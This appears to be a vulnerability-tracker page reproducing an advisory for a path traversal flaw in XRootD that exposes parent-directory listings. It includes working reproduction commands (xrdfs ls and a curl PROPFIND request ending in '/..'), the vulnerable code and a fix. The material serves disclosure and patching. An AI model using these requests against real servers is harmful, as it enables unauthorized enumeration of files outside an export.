CVE-2026-125113Medium· 5.3▾ Sunlitxrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.2 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
Last analysed / modified upstream
A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.
This bypass ignores the all.export restriction.
src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.
xrd.port 1094
# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/
# HTTP
xrd.protocol http:1094 libXrdHttp.so
# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
/srv/xrootd/data/
├── alice/ ← only exported directory
├── bob/ ← not exported
└── secret.txt ← not exported
xrootd -c /etc/xrootd/xrootd.cfgNormal behavior (access outside export is denied):
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
Bypass via trailing ..:
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
Also exploitable via HTTP PROPFIND:
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
--path-as-is \
-H "Depth: 1"
Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).
However, file download via this path traversal is blocked:
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).
File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).
This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.
In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;
// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
xrootd < 5.9.2Upgrade to a patched release:
xrootd 5.9.2Connected by shared product, vendor, weakness, or advisory.
CVE-2024-11042Critical· 9.1InvokeAI Arbitrary File Deletion vulnerability
CVE-2021-29425Medium· 4.8In Apache Commons IO before 2.7, When invoking the method FileNameUtils.normalize with an improper input string, like "//../foo", or "\\..\foo", the result would be the same value, thus possibly providing access to files in the parent di…
CVE-2020-37289Low· 3.7Vyper before 0.3.1 Improper Input Validation of uint8 Interface Return Values
CVE-2021-45105Medium· 5.9Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups
CVE-2020-3478High· 8.1A vulnerability in the REST API of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to overwrite certain files that should be restricted on an affected device
CVE-2019-1952Medium· 6.7A vulnerability in the CLI of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, local attacker to overwrite or read arbitrary files